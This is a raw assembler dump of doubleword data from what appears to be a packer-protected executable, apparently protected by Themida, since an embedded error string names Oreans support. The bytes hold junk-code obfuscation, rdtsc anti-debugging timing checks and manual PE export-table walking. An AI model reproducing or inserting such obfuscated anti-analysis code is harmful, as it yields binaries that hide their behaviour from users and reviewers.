		dd 0CC8D03C2h, 0FFF78B8Eh, 81F95930h, 0BA0111F1h, 0DFB70F23h
		dd 0C70BC181h, 81662167h, 812F25E7h, 4983F9F1h,	7E947h
		dd 5D900000h, 7EB1B876h, 870F5109h, 12h, 0DE9h,	0B0140F00h
		dd 86124D8Ah, 0DED39598h, 8F35DDh, 62A4BF66h, 2794E881h
		dd 0BE92967h, 0AA000000h, 0E36C1E77h, 0C818154Eh, 0C081D839h
		dd 29672790h, 10E857h, 7E310000h, 44386589h, 0A0690E54h
		dd 7D014D13h, 850F07E9h, 0
		dd 0EA835F5Eh, 74850F01h, 0B3FFFFFFh, 83E9D1h, 51530000h
		dd 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h
		dd 0D8033C43h, 503B8166h, 57850F45h, 8B000000h,	5C03785Bh
		dd 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h
		dd 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h
		dd 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah
		dd 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah
		dd 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh, 7, 5E48E020h, 8B2EE016h
		dd 0DE95FD9h, 54000000h, 88A170A2h, 0A5BC99E1h,	0D0F02986h
		dd 5935C781h, 0CC8A0000h, 8B66C033h, 7348BD6h, 0EE81DC8Ah
		dd 55DA5734h, 3800Fh, 8B660000h, 94F681C8h, 0B96039C1h
		dd 45B9231Eh, 2451F681h, 0BB661BC9h, 3489FEA2h,	13E907h
		dd 0BFC0000h, 3A4243BAh, 0FCD598C6h, 9A50A1A8h,	1B635D57h
		dd 0F1816635h, 0E88385C3h, 48A2B102h, 43BA6648h, 74F8816Bh
		dd 0FFFFFA7h, 1285h, 1FE900h, 33CC0000h, 0AA07CA65h, 0ECF4C7Eh
		dd 0F9BC53F2h, 0FFFF88E9h, 0CD1DC0FFh, 0AF92EF8Ch, 0D7A9D423h
		dd 400E9B0h, 0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FD48+2B8h
		dd offset dword_4491E4+6E1Ch
		dd 0
		dd 53E90000h, 1000011h,	141BD1B5h, 10E906h, 0A8460000h
		dd 0A698615Bh, 5BC4BBF2h, 0A531400Dh, 858B8CB9h, 6142B25h
		dd 34B1B529h, 44390614h, 850F0424h, 52h, 1860Fh, 0FF90000h
		dd 682h, 31958900h, 8306140Ah, 1416D1BDh, 840F0006h, 32h
		dd 3145BD09h, 880F0614h, 0Ah, 5D9D3360h, 0B2061406h, 858D615Dh
		dd 6143B4Eh, 6E960h, 9B240000h,	0CEE6B70Ah, 2E55958Bh
		dd 0FF610614h, 858BF9E0h, 6142965h, 244439F5h, 0C850F04h
		dd 0F8000000h, 78DA85C7h, 10617h, 60FC0000h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 8C35040h, 8B666004h
		dd 61F98BF9h, 1DE9h, 14E900h, 8F1F0000h, 0C8E72702h, 0EC866EEEh
		dd 5B1ECCB5h, 0F5EA27CFh, 0EC42h, 1B80000h, 87000000h
		dd 1779C685h, 75C00B06h, 49B5FFF6h, 8F061408h, 1778D285h
		dd 6A206A06h, 195FFFFh,	83061408h, 142B35BDh, 8740006h
		dd 95FF006Ah, 6142971h,	2FE5BD83h, 74010614h, 80680Dh
		dd 0FF6A0000h, 80195FFh, 0AE90614h, 9D000000h, 0CE3BAB11h
		dd 7B4D3DECh, 55006AA0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0B540719Dh, 0F6F9B438h, 890FFDC2h
		dd 6, 22E19529h, 0C02B0614h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0B8C35242h,	2824548Bh, 2D8589F8h
		dd 6A06142Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 139FC355h, 0AB336A42h,	60D68EADh
		dd 5B5B5657h, 92C68166h, 3CBE61D7h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 376C355h, 0FC6F8DC1h, 0FC9C20Ah, 684h, 5952900h, 3061410h
		dd 0F242474h, 0C8Eh, 7E900h, 0F1890000h, 95AE9646h, 6AAD6689h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 1298C356h, 0ED3F4923h, 28A0F60h, 60000000h
		dd 44036161h, 0BF602424h, 50214CE2h, 1FC18589h,	50610614h
		dd 0BE666060h, 0DFBA4AD7h, 610B7265h, 24048961h, 78408BF9h
		dd 1860Fh, 83F80000h, 1778DABDh, 850F0006h, 14Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FBC35545h, 8858548Eh
		dd 899ED65Eh, 142E218Dh, 0EE906h, 183D0000h, 0CACCC160h
		dd 5FB2BA78h, 8AC2A5C0h, 0E9525050h, 0Ah, 50CF4EBDh, 3F8CFD18h
		dd 310FF8F6h, 61605250h, 0CE9310Fh, 0DB000000h,	0CFE12627h
		dd 980036CDh, 5A6AA8FFh, 89585A58h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 935B82C3h
		dd 549C066Ch, 60B7AF66h, 18059501h, 8B0F0614h, 2, 8B616160h
		dd 6A2C2444h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 2D96C350h, 103DBD29h, 0F900614h
		dd 1585h, 10E900h, 0F3150000h, 0ABFBB08Bh, 0DC562DD5h
		dd 4764756Fh, 6050663Dh, 50BA83B1h, 613445E4h, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 8161C232h, 0FE860h, 0D8350000h, 94A25B2h, 71ECC27Fh
		dd 58C7CB81h, 0EDBD8B85h, 5F06140Fh, 858D61F5h,	61741CBh
		dd 6800Fh, 0BD090000h, 6140CFDh, 8B60D0FFh, 0A38CB8D0h
		dd 3611420h, 6A282444h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 9C2EC352h, 0FC5CA1FCh
		dd 6018408Bh, 0AE9h, 650F2F00h,	0CD10BB2Eh, 618AA4E1h
		dd 9D852940h, 89061416h, 140E39BDh, 0D6858906h,	6A061778h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 4B8CC350h, 0BD899C93h, 6142A8Dh, 0A899589h
		dd 0F9580614h, 6A78708Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0B5D1C351h,	7E91Fh
		dd 5EC00000h, 709ACB9Eh, 1CC683C9h, 0C8C0Fh, 8C0F0000h
		dd 6, 25DBD29h,	0F5960614h, 1DB58B60h, 52061405h, 116D8D01h
		dd 615E0614h, 24247C81h, 10000000h, 0F1870Fh, 1600000h
		dd 1417B195h, 0AEBB6606h, 0F90615Ch, 248Ah, 0E9525000h
		dd 13h,	0B6FD8AC0h, 3CBF3487h, 667D6CA0h, 4713B226h, 0F5658E2h
		dd 0F525031h, 5A585A31h, 52505058h, 7E95250h, 0C1000000h
		dd 9862449Eh, 310FA7F1h, 5E9h, 0B5447700h, 585AA614h, 9E9310Fh
		dd 0B8000000h, 7CB8FB7Fh, 0C7719A72h, 190585Ah,	14308DBDh
		dd 24448B06h, 8D896028h, 614162Dh, 10E99061h, 0FA000000h
		dd 0F54D3EBh, 0D28A3FB0h, 0C5B89A43h, 50644986h, 0FE95250h
		dd 0
		dd 0FF921F1Ch, 1C3AE0E2h, 16477719h, 310F67AFh,	66CB8B60h
		dd 5A61F18Bh, 95899058h, 6141041h, 41CB858Dh, 85090617h
		dd 6142D55h, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 6135DDC3h, 6FA28D72h, 18E1B589h
		dd 96F90614h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ah,	0D3C35343h, 6CBE851Bh, 9509E483h, 61419ADh, 959D8B60h
		dd 0E806141Bh, 12h, 5A168880h, 8E87E0C5h, 99C87868h, 0F12EFB45h
		dd 0BD89ABFDh, 6142B41h, 7403615Bh, 9D892424h, 61409C5h
		dd 0CD9BD8Dh, 8B0F0614h, 1, 6AADF9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7294FFC3h
		dd 810F3A82h, 1, 247C81F9h, 24h, 0E9870F10h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 29B9C355h, 1400DD85h, 0F90FC06h, 178Fh, 12E900h
		dd 0D8090000h, 3CDF60D6h, 0D318D640h, 0FD8D2F53h, 6701972Fh
		dd 0AE950h, 0C6A90000h,	7E1B964Dh, 0B39DFF33h, 0BDBD8990h
		dd 8B061430h, 0F9282444h, 0E860Fh, 89600000h, 1403F1B5h
		dd 41858906h, 61061413h, 13E990h, 6E2E0000h, 928774C6h
		dd 1AB67F7h, 43D38833h,	0AC528BE5h, 5250507Eh, 6860Fh
		dd 890F0000h, 0
		dd 810F310Fh, 18h, 13E9h, 0B3E73800h, 88E67E4h,	0B020B215h
		dd 2F9E1AA6h, 6507EBEEh, 0E990585Ah, 9,	97D0ABD8h, 7D07B3F8h
		dd 0CB858DDFh, 0F9061741h, 11E9D0FFh, 0EF000000h, 4173E162h
		dd 6C5384Ch, 67B48E1Bh,	0B4F9129Eh, 24244403h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 56C35747h, 34F951Ch
		dd 762ABC28h, 12880F6Fh, 0E9000000h, 0Dh, 0AA2F1A91h, 3EB682D6h
		dd 16BEEFC8h, 6660AB00h, 8272CB81h, 267D9D89h, 81610614h
		dd 10000FAh, 55820F00h,	0F5000008h, 16AD8589h, 0BD8D0614h
		dd 6142655h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	4EC35141h, 880F608Bh, 6, 870Fh,	61F90000h, 33F99501h
		dd 6AAD0614h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 1933C356h, 1810F5Ch, 0F8000000h
		dd 24247C81h, 10000000h, 0E4870Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 24C345C3h
		dd 3E74AF2Dh, 89CA4EFEh, 14098DBDh, 0F98D2906h,	50061412h
		dd 50605250h, 5A310F52h, 0C38B6658h, 60310F61h,	2904B1B8h
		dd 61D7B04Eh, 489585Ah,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 9E9B8E8h, 0A9000000h
		dd 37EEC307h, 0E106FB9Dh, 2824448Bh, 0B58960F9h, 6142DC5h
		dd 0BC477CB8h, 60906170h, 0F0BE6651h, 8B665EC1h, 0E95061DAh
		dd 11h,	0B30ACF28h, 0CC78DC19h,	0AF5FA7D3h, 6071BDD6h
		dd 6A90E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0B45155C3h, 858D2220h, 61741CBh, 1918589h
		dd 0D0FF0614h, 1398589h, 44030614h, 6A2424h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F0B421C3h
		dd 638E50F5h, 99BD8B60h, 80061419h, 0F861B5E9h,	0EE96090h
		dd 93000000h, 0E033791Ah, 0FAB89965h, 6594684Ah, 6B1FBA05h
		dd 506149AFh, 0DAB96660h, 0F525065h, 61585A31h,	50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0CE22BB10h, 0AD5CE6B5h, 0ABFC4569h, 1890Fh, 8DF90000h
		dd 14157DBDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 573E53Bh,	0E9339655h, 0Dh, 8C4EE81Bh
		dd 0C3CC8826h, 0CFC89E1Dh, 798D29AAh, 0AD061410h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 34C35343h, 0F992FBC9h
		dd 28247C81h, 10000000h, 14A870Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 191B87C3h
		dd 5090F8F4h, 0E9525052h, 11h, 0EC8DECFEh, 1415520Ah, 0D4A99346h
		dd 45D30AEFh, 0E9310F5Dh, 0Eh, 41753A6Bh, 0EDB1197Eh, 0EA675004h
		dd 585A5AB5h, 8B0F310Fh, 6, 840Fh, 585A0000h, 52506050h
		dd 8F0F310Fh, 0
		dd 9061585Ah, 2A618589h, 448B0614h, 89602C24h, 142DD18Dh
		dd 14E806h, 0A87F0000h,	1CDE30EAh, 0D89D029Dh, 0EAA2D60Ah
		dd 0BED1DDE2h, 8D2BA380h, 6142019h, 0E9906158h,	14h, 2F08F8F6h
		dd 322B2828h, 5E2DADB8h, 2E2EAEA1h, 0C085DDAEh,	0E9525050h
		dd 7, 0D2F32659h, 0F840072h, 810F6031h,	0
		dd 11E9h, 169AD900h, 0F7BC8304h, 3AD99C61h, 1B84A42Bh
		dd 5A619D64h, 0DE99058h, 0FE000000h, 526D3610h,	0F683364Eh
		dd 6E07CE64h, 41CB858Dh, 6A0617h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 69BD7EC3h, 0F5027B5h
		dd 0B84h, 6E900h, 1AA90000h, 0CB4DD57h,	8B60D0FFh, 142C259Dh
		dd 85B58B06h, 61061400h, 28244403h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 5CC35040h, 5809CDC8h, 0B5B50927h
		dd 0AB061419h, 0DA9B589h, 0FF5E0614h, 1778D68Dh, 0D6BD8306h
		dd 61778h, 0C0330A75h, 8828B58Dh, 0E6FF0617h, 7C81AD56h
		dd 2824h, 0E771000h, 24448B50h,	858D502Ch, 61741CBh, 4403D0FFh
		dd 8B972824h, 0D2858ADFh, 84061778h, 3A0474C0h,	574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 142E2D85h, 0FF5DE906h, 6A5EFFFFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0B0C0C353h
		dd 0B2A24E86h, 0BD8960D7h, 61408A1h, 0CE9h, 0D2EAB200h
		dd 0C8E9D4E3h, 75457B50h, 7E961C2h, 0D8000000h,	0A8D05649h
		dd 858B4E35h, 6142E2Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0A1C35242h, 9818057Ch, 1381BD89h, 0E0D10614h
		dd 17820Fh, 820F0000h, 11h, 0CE9h, 0B5A2A300h, 69E087A2h
		dd 180F2CB2h, 7D8503A2h, 6A061415h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 779C352h
		dd 60189893h, 59D98166h, 0ED850B6Ch, 61061423h,	0BEh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 14E96Ch, 0A1C10000h,	0DD80B8AFh, 16264237h, 6C73F678h
		dd 0DE6625E6h, 6A96417Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 2B9FC351h, 95251CBh
		dd 140C5195h, 6AAD6606h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 3EACC352h, 0A227D7E6h
		dd 892295D1h, 14078DBDh, 2E0C106h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 5DC35242h, 8D892592h, 6140255h
		dd 0CD98503h, 89600614h, 1416AD9Dh, 6188B206h, 0F8ADF896h
		dd 24247C81h, 10000000h, 180870Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0E6E384C3h
		dd 585681E2h, 800F40EAh, 8, 599D3160h, 6106140Ch, 10890F90h
		dd 0E9000000h, 0Bh, 0D03CCF6Ah,	2E24EE5Eh, 50E79584h, 52505250h
		dd 0CE9h, 13866F00h, 0D0EC93DBh, 0B6C6106Eh, 0F310FDAh
		dd 80h,	0F585A00h, 0DE931h, 42BA0000h, 90E48ECBh, 0CF4716EFh
		dd 5AAAEB53h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0CE775AC3h, 0DC1C0FF0h, 6660B72Dh
		dd 0F32AFB8h, 8B61DEB7h, 6A282444h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5552C355h
		dd 9F0FC3Dh, 14191995h,	52509006h, 0F616060h, 89h, 310F6100h
		dd 5165B060h, 585A615Ah, 7E950h, 0D7F70000h, 6A70A5FEh
		dd 6A9059h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0B0BD8FC3h, 0D08154FDh, 858D3C6Dh, 61741CBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2AC35646h
		dd 11AE1A96h, 19ED9D89h, 0EE90614h, 61000000h, 0DC71413Eh
		dd 9CC2CF50h, 681EDB70h, 6AD0FF28h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 284CC350h
		dd 440374DFh, 6A2424h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0CD8681C3h, 7E96707h, 0C6000000h
		dd 66EF60h, 0F8602A68h,	0CE960h, 212F0000h, 0D260B343h
		dd 0AE947B51h, 61615EABh, 1C244489h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 5AC35646h, 4985C6FCh, 61408h
		dd 79C685C7h, 617h, 85C70000h, 61778DAh, 0
		dd 12E9h, 5F0C4700h, 378BC87Ah,	0A74EC530h, 7F2BD3D0h
		dd 6A0F66B4h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 9320C352h, 0DBECCC03h,	1D8D8961h
		dd 0C2061423h, 8D890008h, 6140141h, 0CD9858Bh, 2B600614h
		dd 1412DD85h, 0D7816006h, 2489EBFAh, 34C1B589h,	61610614h
		dd 518D294Ah, 6B06140Ch, 3F804D2h, 57006AC2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0ABEB52B8h
		dd 816660F8h, 616B36EFh, 0ADFC96F9h, 6840Fh, 9D890000h
		dd 6140999h, 24247C81h,	10000000h, 0F3870Fh, 8A0F0000h
		dd 1Ah,	14870Fh, 0FE90000h, 0A4000000h,	640CBEA5h, 0F0BAC6BCh
		dd 603E9EDBh, 0F50A5F7h, 168Eh,	11E900h, 61710000h, 0C13A4FD6h
		dd 0BF7BF266h, 786099FDh, 8918E010h, 8BF82404h,	6A282444h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0E490C355h, 9D89F862h, 6141B6Dh, 0EE9h, 7F248500h
		dd 503BC5B7h, 0BE598A54h, 50E775D8h, 890F5250h,	13h, 0EE9h
		dd 304C00h, 0DDA731D2h,	6EC1F284h, 0FFF0277h, 5B526031h
		dd 310F5250h, 5A61585Ah, 24048958h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0D9C35141h,	0D75CD0AAh, 0CC381D4Dh
		dd 3018529h, 858D0614h,	61741CBh, 0CE9h, 247A1300h, 83B8483Ah
		dd 0B4F4AC50h, 31D0FFC5h, 140AE195h, 0FDD0E906h, 8B60FFFFh
		dd 14297D8Dh, 6840F06h,	8B000000h, 141075B5h, 0BE96106h
		dd 0A1000000h, 7C00BAF6h, 68206FAh, 858D955Ah, 6178E49h
		dd 0C8F0Fh, 870F0000h, 6, 850Fh, 60900000h, 61605061h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 680A8222h, 153C8254h, 9529D95Eh,	614340Dh
		dd 35FF64h, 89000000h, 1403F985h, 24048B06h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E9C35141h, 0B409F102h
		dd 78708398h, 18B18D01h, 85890614h, 6140781h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 45C35747h, 0F602FF4h
		dd 685h, 45B58900h, 0BE061420h,	1B089FC0h, 25896461h, 0
		dd 51BA6660h, 5D9D8BA7h, 6106141Eh, 8B9F858Dh, 6A0617h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 60A35DC3h, 1FE98589h, 0BD890614h, 6140415h, 1608961h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2CC35747h
		dd 0D48B6717h, 1B79B531h, 13E90614h, 6A000003h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0DF73C355h, 0AE951E9h, 48000000h, 5030FCFDh,	0C39D4F3h
		dd 0E8DB8B69h, 0
		dd 98ED815Dh, 0BC06178Bh, 12FF9Ch, 2FE5BD83h, 74000614h
		dd 55858B18h, 0C6061400h, 858B0000h, 6140FC9h, 0FF0000C6h
		dd 14186995h, 0B5FF6006h, 61774DEh, 74E2858Dh, 8D500617h
		dd 1776DA85h, 95FF5006h, 6141239h, 610CC483h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 89C35747h, 2A8AA758h
		dd 27E2C454h, 0ED858907h, 6A061433h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 5FD1C355h
		dd 0A13838A9h, 4D9D8940h, 8D061413h, 1776DAB5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0FB29B31Ah, 0EE96832h, 5F000000h, 36F67511h,	350AE1FBh
		dd 13F7AE28h, 0DDBD8D7Ah, 0F061420h, 681h, 0E9958900h
		dd 80061416h, 840F003Eh, 8Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 60C35343h, 0A6670C0Fh, 86977E97h
		dd 0E19BD89h, 8B600614h, 142A3D95h, 59853306h, 61061415h
		dd 6E860A4h, 0CA000000h, 0B474BD6Bh, 84AABA45h,	8B5E68A5h
		dd 140C49B5h, 0A0E96106h, 6AFFFFFFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0EF77C350h
		dd 0B5D9C197h, 0CF5F8797h, 0CE9h, 0E5B18100h, 916B4E41h
		dd 0C8AAE19Bh, 60C02B5Bh, 0CF59D8Bh, 0AA610614h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 11C35040h, 29F983B6h
		dd 141DBDBDh, 7B806h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 1B964DC3h, 17BF6660h
		dd 0EDBD03F3h, 61061404h, 5185C7FCh, 1061402h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 7770C357h, 975E2BE4h, 14E966h, 0F50F0000h
		dd 0FF3E57D5h, 0CEB1DFEh, 0D2B14483h, 974C2658h, 8D8D8DD4h
		dd 6144DFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	84C35242h, 0D124E793h, 89602987h, 14166995h, 18A0F06h
		dd 0FC000000h, 6AE1FF61h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F3BC351h, 1582h, 0CE96000h
		dd 0CF000000h, 0A2CD83E3h, 8087022Fh, 6090B1D2h, 85016161h
		dd 6141F99h, 10E9h, 0CEA1FE00h,	5D8F80FAh, 10FABE6Bh, 625AF5F2h
		dd 245C8B5Eh, 0E8550Ch,	5D000000h, 8E53ED81h, 838B0617h
		dd 0B8h, 74DE8589h, 858D0617h, 6178B91h, 0B88389h, 335D0000h
		dd 0BE9C3C0h, 6A000000h, 0B7DBA78Fh, 0B96A50D1h, 6A7C7Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0AD7D5DC3h, 33BCDFE0h, 850FFC55h, 1,	850F60F5h, 0Ch
		dd 68F0Fh, 8F0F0000h, 0
		dd 907D858Dh, 810F0617h, 0Eh, 9E9h, 0E70D6000h,	490D5A0Eh
		dd 50505471h, 52506052h, 585A310Fh, 0F615F51h, 2870F31h
		dd 60000000h, 89585A61h, 85892404h, 6141BD5h, 35FF64h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 3977C357h, 95890C1Dh, 61406EDh
		dd 0BE9h, 2923B200h, 58CFC68Bh,	89944CFDh, 258964h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 5B49C353h, 94063450h, 39D8320Bh, 9BE28160h
		dd 323A274h, 1419AD8Dh,	858D6106h, 6179136h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B8C35747h, 0AC6FBDFCh
		dd 6089F885h, 5E901h, 7FB30000h, 0C6DB1E4Ch, 14084985h
		dd 6A4F06h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 6DEED9C3h, 1F4673Ah, 9F8B868h, 7E9FBh, 4EDF0000h
		dd 0F728B4D9h, 2434815Dh, 5C18C92h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 5BC35343h, 0FFE683A6h, 142C65B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 8B8A5E14h, 858DFB69h, 61778FEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 85C35545h, 4395080Eh
		dd 0BB666087h, 19B0AD4Bh, 0FD0FF61h, 18Ah, 0C7E9FC00h
		dd 0F000000h, 88Dh, 8D8B6000h, 6143111h, 245C8B61h, 0E8550Ch
		dd 5D000000h, 9087ED81h, 858B0617h, 6140C2Dh, 2C658589h
		dd 858B0614h, 6142965h,	44D8589h, 858B0614h, 6142B25h
		dd 23F18589h, 85C60614h, 6140849h, 0C685C700h, 61779h
		dd 8D000000h, 17913685h, 0B8838906h, 5D000000h,	6AC3C033h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0C10FC355h, 458D8960h, 89061415h,	1425C98Dh
		dd 0E9F56106h, 0Dh, 5402CA3Eh, 707CD6BCh, 362C6BFBh, 51006AE1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0E77FD4B9h, 30B393D0h, 74BCC8A1h, 10012FFh, 142601B5h
		dd 68F0F06h, 29000000h,	141EF985h, 58F6406h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 9BC35242h
		dd 7EA68CCEh, 38BCB610h, 0DE9h,	0E99B1900h, 0B10CE1A5h
		dd 0BF03B48Ah, 0C4834B35h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 61EC2771h
		dd 0AE8h, 75CEE200h, 0D1BBF57Dh, 66FA9C6Ch, 0E7A0DF81h
		dd 1B50358h, 81061412h,	5B3DC0h, 0AE800h, 0F2750000h, 0CF57EC68h
		dd 0ED14D63h, 6459589h,	335A0614h, 334FFDBh, 0BB9B58Bh
		dd 9590614h, 140B4195h,	0B8E98106h, 0E92D1F40h,	12h, 15908A75h
		dd 4865194Ah, 0B09A8B2Dh, 5F867350h, 0E9817734h, 3F1E4726h
		dd 7E9h, 84194B00h, 42C434FEh, 47ACC181h, 0B58B4FC7h, 6140F55h
		dd 8F2CB651h, 8B661804h, 83F28BFEh, 0BD8904EBh,	6141E61h
		dd 0A584FB81h, 850FFFFFh, 16h, 2E58D01h, 1BE90614h, 6B000000h
		dd 26214889h, 900B02CBh, 8D89E52Ch, 6141EEDh, 0FFFF74E9h
		dd 68DCE9FFh, 0E7E99C26h, 97000000h, 9753A566h,	838A055Ch
		dd 1D76A188h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h
		dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh,	20A1E4A9h
		dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h
